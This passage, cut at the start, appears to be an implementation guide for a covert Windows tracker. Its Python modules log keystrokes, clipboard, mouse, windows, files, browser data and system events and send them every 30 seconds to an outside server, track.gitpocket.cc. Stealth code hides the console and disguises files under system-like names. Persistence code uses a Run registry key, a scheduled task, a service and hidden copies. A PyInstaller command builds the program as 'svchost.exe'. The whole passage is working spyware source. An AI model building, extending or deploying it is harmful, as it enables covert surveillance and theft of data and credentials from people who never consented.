'audio': '/api/audio', 'network': '/api/network', 'file': '/api/files', 'browser': '/api/browser', 'system': '/api/system' } while True: for data_type, endpoint in endpoints.items(): data = self.buffer.get_and_clear(data_type) if data: success = self.send_data(endpoint, data) if not success: # Save to offline queue self.buffer.save_offline(data_type, data) # Try sending offline queue self.process_offline_queue(endpoints) time.sleep(30) # Send every 30 seconds def process_offline_queue(self, endpoints): """Try to send queued offline data""" for row_id, data_type, compressed_data in self.buffer.get_offline_queue(): try: data = json.loads(gzip.decompress(compressed_data)) endpoint = endpoints.get(data_type) if endpoint and self.send_data(endpoint, data): self.buffer.remove_from_offline(row_id) except Exception: pass def start(self): thread = threading.Thread(target=self.send_loop, daemon=True) thread.start() return thread ``` --- ## MODULE 11: STEALTH & PERSISTENCE (core/stealth.py, core/persistence.py) ### Implementation: ```python import os import sys import ctypes import winreg import subprocess import random import string import shutil class StealthManager: def __init__(self): self.process_names = [ 'svchost.exe', 'csrss.exe', 'conhost.exe', 'RuntimeBroker.exe', 'SearchUI.exe' ] def hide_console(self): """Hide console window""" kernel32 = ctypes.WinDLL('kernel32') user32 = ctypes.WinDLL('user32') hwnd = kernel32.GetConsoleWindow() if hwnd: user32.ShowWindow(hwnd, 0) # SW_HIDE def set_process_critical(self): """Make process critical (BSOD if killed) - USE WITH CAUTION""" # Requires admin try: ntdll = ctypes.WinDLL('ntdll') ntdll.RtlSetProcessIsCritical(True, None, False) except: pass def hide_file(self, path): """Set hidden and system attributes""" try: os.system(f'attrib +h +s "{path}"') except: pass def random_filename(self): """Generate random system-like filename""" prefixes = ['svc', 'csrss', 'lsass', 'wmi', 'search', 'runtime', 'dllhost'] suffixes = ['host', 'broker', 'service', 'helper', 'worker'] return f"{random.choice(prefixes)}{random.choice(suffixes)}.exe" class PersistenceManager: def __init__(self, exe_path): self.exe_path = exe_path def add_to_registry_run(self, name='WindowsSecurityService'): """Add to Registry Run key""" try: key = winreg.OpenKey( winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_SET_VALUE ) winreg.SetValueEx(key, name, 0, winreg.REG_SZ, self.exe_path) winreg.CloseKey(key) return True except: return False def add_scheduled_task(self, name='WindowsSecurityUpdate'): """Add as scheduled task""" try: cmd = f'''schtasks /create /tn "{name}" /tr "{self.exe_path}" /sc onlogon /rl highest /f''' subprocess.run(cmd, shell=True, capture_output=True) return True except: return False def add_as_service(self, name='WinSecSvc', display_name='Windows Security Service'): """Install as Windows service - requires admin""" try: import win32serviceutil import win32service # This requires a proper service wrapper # Simplified version: cmd = f'sc create {name} binPath= "{self.exe_path}" start= auto' subprocess.run(cmd, shell=True, capture_output=True) return True except: return False def copy_to_hidden_location(self): """Copy to hidden location""" hidden_paths = [ os.path.join(os.environ['APPDATA'], 'Microsoft', 'Windows'), os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'WindowsApps'), os.path.join(os.environ['PROGRAMDATA'], 'Microsoft', 'Windows') ] for path in hidden_paths: try: os.makedirs(path, exist_ok=True) dest = os.path.join(path, StealthManager().random_filename()) shutil.copy2(self.exe_path, dest) # Hide the file os.system(f'attrib +h +s "{dest}"') return dest except: continue return None def setup_all(self): """Setup all persistence methods""" results = { 'registry': self.add_to_registry_run(), 'task': self.add_scheduled_task(), 'hidden_copy': self.copy_to_hidden_location() } return results ``` --- ## MAIN TRACKER (tracker.py) ```python import time import threading import json import os import sys from monitors.keyboard import KeystrokeMonitor from monitors.clipboard import ClipboardMonitor from monitors.mouse import MouseMonitor from monitors.window import WindowMonitor from monitors.audio import AudioMonitor from monitors.network import NetworkMonitor from monitors.file_ops import FileMonitor from monitors.browser import BrowserDataExtractor from monitors.system import SystemMonitor from core.buffer import BufferManager from core.sender import DataSender from core.stealth import StealthManager from core.persistence import PersistenceManager class Tracker: def __init__(self, config_path='config.json'): self.config = self.load_config(config_path) self.buffer = BufferManager(self.config) self.monitors = {} def load_config(self, path): if os.path.exists(path): with open(path) as f: return json.load(f) return { 'server_url': 'https://track.gitpocket.cc', 'user_id': 'default', 'features': { 'keystrokes': True, 'clipboard': True, 'mouse': True, 'window': True, 'audio': False, # Disabled by default 'network': True, 'files': True, 'browser': True, 'system': True } } def start(self): # Setup stealth stealth = StealthManager() stealth.hide_console() # Setup persistence if getattr(sys, 'frozen', False): exe_path = sys.executable persistence = PersistenceManager(exe_path) persistence.setup_all() # Start data sender sender = DataSender(self.config, self.buffer) sender.start() # Start enabled monitors features = self.config.get('features', {}) if features.get('keystrokes', True): self.monitors['keyboard'] = KeystrokeMonitor(self.buffer) self.monitors['keyboard'].start() if features.get('clipboard', True): self.monitors['clipboard'] = ClipboardMonitor(self.buffer) self.monitors['clipboard'].start() if features.get('mouse', True): self.monitors['mouse'] = MouseMonitor(self.buffer) self.monitors['mouse'].start() if features.get('window', True): self.monitors['window'] = WindowMonitor(self.buffer) self.monitors['window'].start() if features.get('audio', False): self.monitors['audio'] = AudioMonitor(self.buffer) self.monitors['audio'].start() if features.get('network', True): self.monitors['network'] = NetworkMonitor(self.buffer) self.monitors['network'].start() if features.get('files', True): self.monitors['files'] = FileMonitor(self.buffer) self.monitors['files'].start() if features.get('browser', True): # One-time extraction browser = BrowserDataExtractor(self.buffer) threading.Thread(target=browser.extract_all, daemon=True).start() if features.get('system', True): self.monitors['system'] = SystemMonitor(self.buffer) self.monitors['system'].start() print("Tracker started") # Keep main thread alive while True: time.sleep(60) if __name__ == '__main__': tracker = Tracker() tracker.start() ``` --- ## REQUIREMENTS.txt ``` pynput>=1.7.6 pywin32>=305 psutil>=5.9.0 cryptography>=41.0.0 requests>=2.31.0 pillow>=10.0.0 pydub>=0.25.1 webrtcvad>=2.0.10 pyaudio>=0.2.13 watchdog>=3.0.0 soundcard>=0.4.2 numpy>=1.24.0 ``` --- ## CONFIG.json ```json { "server_url": "https://track.gitpocket.cc", "user_id": "employee1", "send_interval": 30, "encryption_key": "your-32-byte-key-here", "features": { "keystrokes": true, "clipboard": true, "mouse": true, "window": true, "audio": false, "network": true, "files": true, "browser": true, "system": true }, "persistence": { "registry": true, "scheduled_task": true, "hidden_copy": true }, "stealth": { "hide_console": true, "random_name": true } } ``` --- ## BUILD COMMAND ```powershell # Install dependencies pip install -r requirements.txt # Build exe with hidden imports pyinstaller --onefile --noconsole ^ --hidden-import=pynput.keyboard._win32 ^ --hidden-import=pynput.mouse._win32 ^ --hidden-import=win32timezone ^ --add-data="config.json;." ^ --name=svchost ^ --icon=icon.ico ^ tracker.py # The exe will be in dist/svchost.exe ``` --- ## SERVER API ENDPOINTS NEEDED ``` POST /api/keystrokes - Receive keystroke batches POST /api/clipboard - Receive clipboard data POST /api/mouse - Receive mouse events POST /api/window - Receive window events POST /api/audio - Receive audio chunks POST /api/network - Receive network data POST /api/files - Receive file operations POST /api/browser - Receive browser data POST /api/system - Receive system events ``` --- Implement module by module. Test each module independently before integration. Priority: Keystrokes → Window → Clipboard → Mouse → Files → Network → System → Browser → Audio